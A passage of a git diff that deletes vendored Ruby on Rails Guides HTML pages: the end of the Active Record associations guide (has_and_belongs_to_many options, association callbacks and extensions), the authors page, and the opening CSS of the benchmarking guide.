-</li>
-<li>
-<p>
-<tt>:delete_sql</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:extend</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:finder_sql</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:foreign_key</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:group</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:include</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:insert_sql</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:join_table</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:limit</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:offset</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:order</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:readonly</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:select</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:uniq</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:validate</tt>
-</p>
-</li>
-</ul></div>
-<h5 id="_tt_association_foreign_key_tt"><tt>:association_foreign_key</tt></h5>
-<div class="para"><p>By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix <tt>_id</tt> added. The <tt>:association_foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">The <tt>:foreign_key</tt> and <tt>:association_foreign_key</tt> options are useful when setting up a many-to-many self-join. For example:</td>
-</tr></table>
-</div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> User <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_and_belongs_to_many <span style="color: #990000">:</span>friends<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"User"</span><span style="color: #990000">,</span>
-    <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"this_user_id"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>association_foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"other_user_id"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h5 id="_tt_class_name_tt_4"><tt>:class_name</tt></h5>
-<div class="para"><p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is <tt>Gadget</tt>, you'd set things up this way:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Gadget"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h5 id="_tt_conditions_tt_4"><tt>:conditions</tt></h5>
-<div class="para"><p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL <tt>WHERE</tt> clause).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"factory = 'Seattle'"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You can also set conditions via a hash:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>factory <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Seattle'</span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If you use a hash-style <tt>:conditions</tt> option, then record creation via this association will be automatically scoped using the hash. In this case, using <tt>@parts.assemblies.create</tt> or <tt>@parts.assemblies.build</tt> will create orders where the factory column has the value "Seattle".</p></div>
-<h5 id="_tt_counter_sql_tt_2"><tt>:counter_sql</tt></h5>
-<div class="para"><p>Normally Rails automatically generates the proper SQL to count the association members. With the <tt>:counter_sql</tt> option, you can specify a complete SQL statement to count them yourself.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">If you specify <tt>:finder_sql</tt> but not <tt>:counter_sql</tt>, then the counter SQL will be generated by substituting <tt>SELECT COUNT(*) FROM</tt> for the <tt>SELECT &#8230; FROM</tt> clause of your <tt>:finder_sql</tt> statement.</td>
-</tr></table>
-</div>
-<h5 id="_tt_delete_sql_tt"><tt>:delete_sql</tt></h5>
-<div class="para"><p>Normally Rails automatically generates the proper SQL to remove links between the associated classes. With the <tt>:delete_sql</tt> option, you can specify a complete SQL statement to delete them yourself.</p></div>
-<h5 id="_tt_extend_tt_2"><tt>:extend</tt></h5>
-<div class="para"><p>The <tt>:extend</tt> option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.</p></div>
-<h5 id="_tt_finder_sql_tt_2"><tt>:finder_sql</tt></h5>
-<div class="para"><p>Normally Rails automatically generates the proper SQL to fetch the association members. With the <tt>:finder_sql</tt> option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.</p></div>
-<h5 id="_tt_foreign_key_tt_4"><tt>:foreign_key</tt></h5>
-<div class="para"><p>By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> User <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_and_belongs_to_many <span style="color: #990000">:</span>friends<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"User"</span><span style="color: #990000">,</span>
-    <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"this_user_id"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>association_foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"other_user_id"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h5 id="_tt_group_tt_2"><tt>:group</tt></h5>
-<div class="para"><p>The <tt>:group</tt> option supplies an attribute name to group the result set by, using a <tt>GROUP BY</tt> clause in the finder SQL.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>group <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"factory"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h5 id="_tt_include_tt_4"><tt>:include</tt></h5>
-<div class="para"><p>You can use the :include option to specify second-order associations that should be eager-loaded when this association is used.</p></div>
-<h5 id="_tt_insert_sql_tt"><tt>:insert_sql</tt></h5>
-<div class="para"><p>Normally Rails automatically generates the proper SQL to create links between the associated classes. With the <tt>:insert_sql</tt> option, you can specify a complete SQL statement to insert them yourself.</p></div>
-<h5 id="_tt_join_table_tt"><tt>:join_table</tt></h5>
-<div class="para"><p>If the default name of the join table, based on lexical ordering, is not what you want, you can use the <tt>:join_table</tt> option to override the default.</p></div>
-<h5 id="_tt_limit_tt_2"><tt>:limit</tt></h5>
-<div class="para"><p>The <tt>:limit</tt> option lets you restrict the total number of objects that will be fetched through an association.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"created_at DESC"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>limit <span style="color: #990000">=&gt;</span> <span style="color: #993399">50</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h5 id="_tt_offset_tt_2"><tt>:offset</tt></h5>
-<div class="para"><p>The <tt>:offset</tt> option lets you specify the starting offset for fetching objects via an association. For example, if you set <tt>:offset &#8658; 11</tt>, it will skip the first 10 records.</p></div>
-<h5 id="_tt_order_tt_3"><tt>:order</tt></h5>
-<div class="para"><p>The <tt>:order</tt> option dictates the order in which associated objects will be received (in the syntax used by a SQL <tt>ORDER BY</tt> clause).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"assembly_name ASC"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h5 id="_tt_readonly_tt_4"><tt>:readonly</tt></h5>
-<div class="para"><p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated objects will be read-only when retrieved via the association.</p></div>
-<h5 id="_tt_select_tt_4"><tt>:select</tt></h5>
-<div class="para"><p>The <tt>:select</tt> option lets you override the SQL <tt>SELECT</tt> clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.</p></div>
-<h5 id="_tt_uniq_tt_2"><tt>:uniq</tt></h5>
-<div class="para"><p>Specify the <tt>:uniq &#8658; true</tt> option to remove duplicates from the collection.</p></div>
-<h5 id="_tt_validate_tt_4"><tt>:validate</tt></h5>
-<div class="para"><p>If you set the <tt>:validate</tt> option to <tt>false</tt>, then associated objects will not be validated whenever you save this object. By default, this is <tt>true</tt>: associated objects will be validated when this object is saved.</p></div>
-<h4 id="_when_are_objects_saved_4">4.4.3. When are Objects Saved?</h4>
-<div class="para"><p>When you assign an object to a <tt>has_and_belongs_to_many</tt> association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.</p></div>
-<div class="para"><p>If any of these saves fails due to validation errors, then the assignment statement returns <tt>false</tt> and the assignment itself is cancelled.</p></div>
-<div class="para"><p>If the parent object (the one declaring the <tt>has_and_belongs_to_many</tt> association) is unsaved (that is, <tt>new_record?</tt> returns <tt>true</tt>) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.</p></div>
-<div class="para"><p>If you want to assign an object to a <tt>has_and_belongs_to_many</tt> association without saving the object, use the <tt><em>collection</em>.build</tt> method.</p></div>
-<h3 id="_association_callbacks">4.5. Association Callbacks</h3>
-<div class="para"><p>Normal callbacks hook into the lifecycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a <tt>:before_save</tt> callback to cause something to happen just before an object is saved.</p></div>
-<div class="para"><p>Association callbacks are similar to normal callbacks, but they are triggered by events in the lifecycle of a collection. There are four available association callbacks:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>before_add</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>after_add</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>before_remove</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>after_remove</tt>
-</p>
-</li>
-</ul></div>
-<div class="para"><p>You define association callbacks by adding options to the association declaration. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>before_add <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>check_credit_limit
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> check_credit_limit<span style="color: #990000">(</span>order<span style="color: #990000">)</span>
-    <span style="color: #990000">...</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Rails passes the object being added or removed to the callback.</p></div>
-<div class="para"><p>You can stack callbacks on a single event by passing them as an array:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>before_add <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>check_credit_limit<span style="color: #990000">,</span> <span style="color: #990000">:</span>calculate_shipping_charges<span style="color: #990000">]</span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> check_credit_limit<span style="color: #990000">(</span>order<span style="color: #990000">)</span>
-    <span style="color: #990000">...</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> calculate_shipping_charges<span style="color: #990000">(</span>order<span style="color: #990000">)</span>
-    <span style="color: #990000">...</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If a <tt>before_add</tt> callback throws an exception, the object does not get added to the collection. Similarly, if a <tt>before_remove</tt> callback throws an exception, the object does not get removed from the collection.</p></div>
-<h3 id="_association_extensions">4.6. Association Extensions</h3>
-<div class="para"><p>You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>orders <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
-    <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> find_by_order_prefix<span style="color: #990000">(</span>order_number<span style="color: #990000">)</span>
-      find_by_region_id<span style="color: #990000">(</span>order_number<span style="color: #990000">[</span><span style="color: #993399">0</span><span style="color: #990000">..</span><span style="color: #993399">2</span><span style="color: #990000">])</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If you have an extension that should be shared by many associations, you can use a named extension module. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> FindRecentExtension
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> find_recent
-    find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">5</span><span style="color: #990000">.</span>days<span style="color: #990000">.</span>ago<span style="color: #990000">])</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>extend <span style="color: #990000">=&gt;</span> FindRecentExtension
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>deliveries<span style="color: #990000">,</span> <span style="color: #990000">:</span>extend <span style="color: #990000">=&gt;</span> FindRecentExtension
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>To include more than one extension module in a single association, specify an array of names:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>extend <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span>FindRecentExtension<span style="color: #990000">,</span> FindActiveExtension<span style="color: #990000">]</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Extensions can refer to the internals of the association proxy using these three accessors:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>proxy_owner</tt> returns the object that the association is a part of.
-</p>
-</li>
-<li>
-<p>
-<tt>proxy_reflection</tt> returns the reflection object that describes the association.
-</p>
-</li>
-<li>
-<p>
-<tt>proxy_target</tt> returns the associated object for <tt>belongs_to</tt> or <tt>has_one</tt>, or the collection of associated objects for <tt>has_many</tt> or <tt>has_and_belongs_to_many</tt>.
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_changelog">5. Changelog</h2>
-<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/11">Lighthouse ticket</a></p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-September 28, 2008: Corrected <tt>has_many :through</tt> diagram, added polymorphic diagram, some reorganization by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> . First release version.
-</p>
-</li>
-<li>
-<p>
-September 22, 2008: Added diagrams, misc. cleanup by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
-</p>
-</li>
-<li>
-<p>
-September 14, 2008: initial version by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
-</p>
-</li>
-</ul></div>
-</div>
-
-		</div>
-	</div>
-</body>
-</html>
diff --git a/vendor/rails/railties/doc/guides/html/authors.html b/vendor/rails/railties/doc/guides/html/authors.html
deleted file mode 100644
index a54135b1..00000000
--- a/vendor/rails/railties/doc/guides/html/authors.html
+++ /dev/null
@@ -1,240 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
-	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-	<title>About the Authors</title>
-	<!--[if lt IE 8]>
-	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
-	<![endif]-->
-	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-	<style type="text/css">
-		div#container {
-	max-width: 900px;
-	padding-bottom: 3em;
-}
-
-div#content {
-	margin-left: 200px;
-}
-
-div#container.notoc {
-	max-width: 600px;
-}
-
-.notoc div#content {
-	margin-left: 0;
-}
-
-pre {
-	line-height: 1.4em;
-}
-
-#content p tt {
-	background: #eeeeee;
-	border: solid 1px #cccccc;
-	padding: 3px;
-}
-
-dt {
-	font-weight: bold;
-}
-
-#content dt tt {
-	font-size: 10pt;
-}
-
-dd {
-	margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
-	background: none;
-	padding: 0;
-	border: 0;
-}
-
-#content .olist ol {
-	margin-left: 2em;
-}
-
-#header {
-	position: relative;
-	max-width: 840px;
-	margin-left: auto;
-	margin-right: auto;
-}
-
-#header.notoc {
-	max-width: 580px;
-}
-
-#logo {
-	position: absolute;
-	left: 10px;
-	top: 10px;
-	width: 110px;
-	height: 140px;
-}
-
-div#header h1#site_title {
-	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
-	position: absolute;
-	width: 392px;
-	height: 55px;
-	left: 145px;
-	top: 20px;
-	margin: 0;
-	padding: 0;
-}
-
-#site_title span {
-	display: none;
-}
-
-#site_title_tagline {
-	display: none;
-}
-
-ul#navMain {
-	position: absolute;
-	margin: 0;
-	padding: 0;
-	top: 97px;
-	left: 145px;
-}
-
-.left-floaty, .right-floaty {
-	padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
-	margin-left: 1em;
-	margin-right: 1em;
-	margin-top: 0.25em;
-	margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
-	padding-right: 8px;
-}
-
-.admonitionblock .content {
-	border: solid 1px #ffda78;
-	background: #fffebd;
-	padding: 10px;
-	padding-top: 8px;
-	padding-bottom: 8px;
-}
-
-.admonitionblock .title {
-	font-size: 140%;
-	margin-bottom: 0.5em;
-}
-
-.tableblock table {
-	border: solid 1px #aaaaff;
-	background: #f0f0ff;
-}
-
-.tableblock th {
-	background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
-	padding: 3px;
-	padding-left: 5px;
-	padding-right: 5px;
-}
-
-.sidebarblock {
-	margin-top: 0.25em;
-	margin: 1em;
-	border: solid 1px #ccccbb;
-	padding: 8px;
-	background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
-	font-size: 140%;
-	font-weight: 600;
-	margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
-	margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
-	text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
-	text-decoration: underline;
-}
-
-	</style>
-</head>
-<body>
-	<div id="header"  class="notoc">
-		<div id="logo">
-			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
-		</div>
-		
-		<h1 id="site_title"><span>Ruby on Rails</span></h1>
-		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
-		<ul id="navMain">
-			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
-			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
-		</ul>
-	</div>
-
-	<div id="container" class="notoc">
-		
-		<div id="content">
-				<h1>About the Authors</h1>
-			<div id="preamble">
-<div class="sectionbody">
-<div class="sidebarblock" id="fcheung">
-<div class="sidebar-content">
-<div class="sidebar-title">Frederick Cheung</div>
-<div class="para"><p>Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006.
-He is based in Cambridge (UK) and when not consuming fine ales he blogs at <a href="http://www.spacevatican.org">spacevatican.org</a>.</p></div>
-</div></div>
-<div class="sidebarblock" id="mgunderloy">
-<div class="sidebar-content">
-<div class="sidebar-title">Mike Gunderloy</div>
-<div class="para"><p>Mike Gunderloy is an independent consultant who brings 25 years of experience in a variety of languages to bear on his current
-work with Rails. His near-daily links and other blogging can be found at <a href="http://afreshcup.com">A Fresh Cup</a>.</p></div>
-</div></div>
-<div class="sidebarblock" id="miloops">
-<div class="sidebar-content">
-<div class="sidebar-title">Emilio Tagua</div>
-<div class="para"><p>Emilio Tagua &#8212; a.k.a. miloops &#8212; is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist.
-Cofounder of <a href="http://www.eventioz.com">Eventioz</a>. He has been using Rails since 2006 and contributing since early 2008.
-Can be found at gmail, twitter, freenode, everywhere as miloops.</p></div>
-</div></div>
-<div class="sidebarblock" id="hawe">
-<div class="sidebar-content">
-<div class="sidebar-title">Heiko Webers</div>
-<div class="para"><p>Heiko Webers is the founder of <a href="http://www.bauland42.de">bauland42</a>, a German web application security consulting and development
-company focused on Ruby on Rails. He blogs at <a href="http://www.rorsecurity.info">http://www.rorsecurity.info</a>. After 10 years of desktop application development,
-Heiko has rarely looked back.</p></div>
-</div></div>
-<div class="sidebarblock" id="toretore">
-<div class="sidebar-content">
-<div class="sidebar-title">Tore Darell</div>
-<div class="para"><p>Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails
-and unobtrusive JavaScript. His home on the internet is his blog <a href="http://tore.darell.no/">Sneaky Abstractions</a>.</p></div>
-</div></div>
-</div>
-</div>
-
-		</div>
-	</div>
-</body>
-</html>
diff --git a/vendor/rails/railties/doc/guides/html/benchmarking_and_profiling.html b/vendor/rails/railties/doc/guides/html/benchmarking_and_profiling.html
deleted file mode 100644
index 9bd1c10d..00000000
--- a/vendor/rails/railties/doc/guides/html/benchmarking_and_profiling.html
+++ /dev/null
@@ -1,1018 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
-	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-	<title>Benchmarking and Profiling Rails</title>
-	<!--[if lt IE 8]>
-	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
-	<![endif]-->
-	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-	<style type="text/css">
-		div#container {
-	max-width: 900px;
-	padding-bottom: 3em;
-}
-
-div#content {
-	margin-left: 200px;
-}
-
-div#container.notoc {
-	max-width: 600px;
-}
-
-.notoc div#content {
-	margin-left: 0;
-}
-
-pre {
-	line-height: 1.4em;
-}
-
-#content p tt {
-	background: #eeeeee;
-	border: solid 1px #cccccc;
-	padding: 3px;
-}
-
-dt {
-	font-weight: bold;
-}
-
-#content dt tt {
-	font-size: 10pt;
-}
-
-dd {
-	margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
-	background: none;
-	padding: 0;
-	border: 0;
-}
-
-#content .olist ol {
-	margin-left: 2em;
-}
-
-#header {
-	position: relative;
-	max-width: 840px;
-	margin-left: auto;
-	margin-right: auto;
-}
-
-#header.notoc {
-	max-width: 580px;
-}
-
-#logo {
-	position: absolute;
-	left: 10px;
-	top: 10px;
-	width: 110px;
-	height: 140px;
-}
-
-div#header h1#site_title {
-	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
-	position: absolute;
-	width: 392px;
-	height: 55px;
-	left: 145px;
-	top: 20px;
-	margin: 0;
-	padding: 0;
-}
-
-#site_title span {
-	display: none;
-}
-
-#site_title_tagline {
-	display: none;
-}
-
-ul#navMain {
-	position: absolute;
-	margin: 0;
-	padding: 0;
-	top: 97px;
-	left: 145px;
-}
-
-.left-floaty, .right-floaty {
-	padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
-	margin-left: 1em;
